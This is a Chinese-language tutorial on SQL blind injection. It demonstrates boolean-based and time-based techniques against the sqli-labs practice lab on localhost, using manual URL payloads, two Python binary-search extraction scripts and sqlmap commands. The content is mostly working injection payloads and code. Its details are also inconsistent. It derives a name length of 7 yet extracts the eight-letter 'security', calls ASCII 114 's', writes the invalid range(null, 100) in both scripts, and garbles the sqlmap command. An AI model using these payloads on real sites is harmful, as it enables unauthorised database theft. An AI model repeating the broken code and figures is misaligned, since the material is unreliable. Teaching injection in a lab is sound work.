插件窝 干货文章 深入理解SQL盲注

深入理解SQL盲注

注入 class database 可以 751    来源:    2024-10-16

前面和大家分享了SQL注入的介绍、联合查询和一些技巧、报错注入,那么本篇我们和大家继续学习SQL注入的相关知识和实验,本篇是SQL注入中的盲注,那么现在我们开始ヾ(◍°∇°◍)ノ゙

什么是盲注?

在现代的web中对输入的内容会做很严格的限制,并且在默认情况下都是不会显示错误信息,因此前面学习的联合查询和报错注入都无法利用来注入了,因此我们需要使用"盲注"来进行SQL注入,所谓的盲注就是在服务器没有错误信息会显示完成注入攻击,但是服务器不会显示错误信息,我们就需要找到一个方法来验证SQL语句是否被执行

SQL盲注中常用的几个函数:

  • ascii(str): str是一个字符串参数,返回值为其最左侧字符的ascii码。通过它,我们才能确定特定的字符。
  • substr(str,start,len): 这个函数是取str中从下标start开始的,长度为len的字符串。通常在盲注中用于取出单个字符,交给ascii函数来确定其具体的值。
  • length(str): 这个函数是用来获取str的长度的。这样我们才能知道需要通过substr取到哪个下标。
  • count([column]): 这个函数是用来统计记录的数量的,其在盲注中,主要用于判断符合条件的记录的数量,并逐个破解。
  • if(condition,a,b): 当condition为true的时候,返回a,当condition为false的时候,返回b。

布尔盲注

这种类型的盲注依赖于页面返回结果的单一状态,通常只有“正常”或“错误”。攻击者会构造一个包含布尔表达式(如`IF`条件判断)的SQL查询,然后检查页面是否正确地返回了正确的结果。如果正确,那么可能意味着查询成功访问到了数据库中的数据。

最常见的盲注的验证方法是,构造简单的条件语句,然后根据返回的页面是否发生变化,来判断SQL语句是否被执行,我们可以利用sqli-labs靶场中的第8关来演示一下:

这里传入的是and 1=1 是一个恒真的值,因此页面是下面这样的:

然后再传入一个and 1=2 是一个恒假的值 ,因此页面是下面这样的

可以看到,这里就是两个完全不同的两个页面,也就说明是存在SQL盲注的漏洞点的,这种利用注入 的方式也就是布尔盲注

下面我们就可以使用下面这三种方式来进行布尔盲注

手工注入

利用上面的那些函数我们可以通过不断的变换范围来观察页面的响应来不断判断,直到判断到最后可以确定到一个值,比如我们可以先使用 length函数 + 二分法来尝试一下:

?id=1' and (select length(database())>1) and 1=1  --+ true
?id=1' and (select length(database())>10) and 1=1  --+  flase
?id=1' and (select length(database())>5) and 1=1  --+ true
?id=1' and (select length(database())>6) and 1=1  --+ true
?id=1' and (select length(database())>8) and 1=1  --+ flase

通过页面的不同响应页面来判断数据库的长度是否是我们所指定的范围,最终可以得到数据库的名称的长度为7,得到了数据库的长度后,我们就可以再利用ascii函数+substr函数来修改字符串的范围,最终判断数据库的各个字符的ascii的值,最终就可以得到完整的数据库名称,比如:

?id=1' and ((select ascii(substr(database(),1,1)))>100) and 1=1 --+ true
?id=1' and ((select ascii(substr(database(),1,1)))>200) and 1=1 --+ flase
...
?id=1' and ((select ascii(substr(database(),1,1)))>114) and 1=1 --+ true 
?id=1' and ((select ascii(substr(database(),1,1)))>116) and 1=1 --+ false

根据不断的变换范围,最后得到了第一个字母的ascii码大于113但是不大于115,因此,它的ascii码就是114,对照ASCII码表,得到第一个字母为‘s’。同样的方法,我们可以变化substr()里面的第二个参数分别为2,3,4,5,6,7,最后可以获得接下来的其他七个字母,最终得到“security”。

这里就成功的注入出了数据库名称,然后通过这个方法,我们可以首先通过information_schema库中的tables表查看我们注入出的数据库下的所有的表的数量,然后我们按照limit的方法选取某个表,通过length得到它的名字的长度,随后就可以得到它的完整表名,同理通过columns表获得某个表下的所有字段数量,并且获得每个字段的名称长度和具体名称,最后就是查出指定表下的记录数量,并且根据字段去获取某条记录的某个字段值的长度,随后就是是获得该值的内容。

但是这样的手工方法会非常的费时费力,我们可以使用python写一个二分法查找的布尔盲注脚本来方便使用:

使用python脚本

注入出数据库名

脚本:

import requests

url = "http://127.0.0.1/sqli-labs/Less-8/"

def inject_database(url):
    name = ''

    for i in range(null, 100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i, mid)
            params = {"id": payload}
            r = requests.get(url, params=params)
            if "You are in..........." in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)
inject_database(url)

后面的表名,列名,数据,都可以使用类似的脚本注入出来,这里就不演示了

使用sqlmap

使用sqlmap进行时间盲注就非常简单了,直接将url输入到sqlmap中即可

sqlmap.py -u sqlmap -u  http://127.0.0.1/sqli-labs/Less-8/?id=1

时间盲注

这类盲注涉及使用具有延时功能的函数,如`sleep()`,来探测服务器何时处理完请求。攻击者可能会设置一个延时,观察服务器是否按照预期的时间间隔回复。如果服务器超时未响应,这可能表明存在漏洞,并且可以进一步尝试其他查询。

手工注入

因为页面不会回显任何正确或者错误的信息,所以我们通过时间来判断是否存在时间盲注根据我们的输入,来延时请求数据,观察请求时间是否存在延长,如果存在就是存在时间盲注,这里会使用if和sleep函数来进行判断

if的语法三元运算符函数

语法:IF(condition, value_if_true, value_if_false)

condition是一个条件表达式,如果条件成立,则返回value_if_true,否则返回value_if_false。

那么可以利用这一点来进行时间盲注

?id=1' and if(length(database())=1,sleep(5),1)--+ 延时
?id=1' and if(length(database())=10,sleep(5),1)--+ 正常
?id=1' and if(length(database())=7,sleep(5),1)--+  延时
?id=1' and if(length(database())=8,sleep(5),1)--+ 延正常

可以看到这里可以注入出数据库的长度是7,然后就是使用ascii+sleep来注入出数据库的名称

?id=1'and if(ascii(substr((select database()),1,1))=100,sleep(5),1)--+ 延时
?id=1'and if(ascii(substr((select database()),1,1))=200,sleep(5),1)--+ 正常
...
?id=1'and if(ascii(substr((select database()),1,1))=114,sleep(5),1)--+ 延时
?id=1'and if(ascii(substr((select database()),1,1))=116,sleep(5),1)--+ 正常
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ 延时

可以看到注入出了数据库的第一个字符是ASCII的值为115,对应的是‘s’,然后就不断变换,最终得到数据库名为:security,那么现在数据库已经知道了,后面的表名、列名,数据都可以使用同样的方法注入出来了

但是还是一样这样的手工方法会非常的费时费力,我们可以使用python写一个二分法查找的时间盲注脚本来方便注入:

使用python脚本

注入出数据库名

脚本:

import requests
import time

url = "http://127.0.0.1/sqli-labs/Less-8/"

def inject_database(url):
    name = ''
    for i in range(null, 100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and (if(ascii(substr((select(database())),%d,1))>%d,sleep(1),0))and('1')=('1" % (i, mid)
            params = {"id": payload}
            start_time = time.time()  # 注入前的系统时间
            r = requests.get(url, params=params)
            end_time = time.time()  # 注入后的时间
            if end_time - start_time > 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)
inject_database(url)

后面的表名,列名,数据,都可以使用类似的脚本注入出来,这里就不演示了

使用sqlmap

使用sqlmap进行时间盲注就非常简单了,直接将url输入到sqlmap中即可

sqlmap.py -u sqlmap -u  http://127.0.0.1/sqli-labs/Less-8/?id=1

到此,SQL盲注的布尔盲注和时间盲注就全部演示完毕了,更多相关SQL盲注内容请搜索插件窝以前的文章或继续浏览下面的相关文章希望大家以后多多支持插件窝!